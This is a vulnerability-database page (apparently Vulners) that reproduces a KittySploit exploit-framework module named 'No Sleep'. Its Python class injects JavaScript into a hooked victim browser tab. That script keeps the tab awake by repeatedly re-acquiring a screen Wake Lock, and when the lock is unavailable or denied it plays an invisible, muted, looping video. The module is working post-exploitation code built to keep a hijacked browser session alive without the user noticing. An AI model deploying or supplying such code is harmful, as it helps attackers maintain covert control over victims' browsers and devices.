Lucene search
+L

No Sleep

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 9 Views

KittySploit No Sleep module prevents hooked tabs from sleeping via Wake Lock API.

Refs
Code
from kittysploit import *


class Module(BrowserAuxiliary):

	__info__ = {
		"name": "No Sleep",
		"description": "Prevent the hooked tab from sleeping (Wake Lock API + silent video fallback, BeEF nosleep)",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}

	def run(self):
		code_js = """
		(function() {
			if (window.__ksNoSleep) {
				return 'NoSleep already active';
			}
			window.__ksNoSleep = { wakeLock: null, video: null };

			function startVideoFallback() {
				if (window.__ksNoSleep.video) return;
				try {
					const v = document.createElement('video');
					v.setAttribute('playsinline', '');
					v.setAttribute('muted', '');
					v.muted = true;
					v.loop = true;
					v.style.cssText = 'position:fixed;opacity:0;pointer-events:none;width:1px;height:1px;';
					v.src = 'data:video/webm;base64,GkXfo59ChoEBQveBAULygQRC84EIQoKEd2VibUKHgQRChYECGFOAZwEAAAAAAAHTEU2bdLpNu4tTq4QVSalmU6yBoU27i1OrhBZUmuKBoU2BTYQGAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABZAV0BAX/Y/+IX+a/WAKaWSW5hcm9yb3JkA2XvQAA=';
					document.body.appendChild(v);
					const p = v.play();
					if (p && typeof p.catch === 'function') {
						p.catch(function() {});
					}
					window.__ksNoSleep.video = v;
				} catch (e) {}
			}

			async function enableWakeLock() {
				if (!navigator.wakeLock) {
					startVideoFallback();
					return 'wakeLock unavailable; video fallback started';
				}
				try {
					window.__ksNoSleep.wakeLock = await navigator.wakeLock.request('screen');
					window.__ksNoSleep.wakeLock.addEventListener('release', function() {
						navigator.wakeLock.request('screen').then(function(wl) {
							window.__ksNoSleep.wakeLock = wl;
						}).catch(startVideoFallback);
					});
					document.addEventListener('visibilitychange', function() {
						if (document.visibilityState === 'visible' && !window.__ksNoSleep.wakeLock) {
							enableWakeLock();
						}
					});
					return 'Wake Lock active';
				} catch (e) {
					startVideoFallback();
					return 'Wake Lock denied; video fallback started: ' + (e.message || e);
				}
			}

			return enableWakeLock();
		})();
		"""
		result = self.send_js_and_wait_for_response(code_js, timeout=8.0)
		if result:
			print_success(str(result))
			print_info("Tab should stay awake; re-run after navigation if the hook reloads.")
			return True
		return self.send_js(code_js.replace("return enableWakeLock();", "enableWakeLock();"))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
5.9Medium risk
Vulners AI Score5.9
9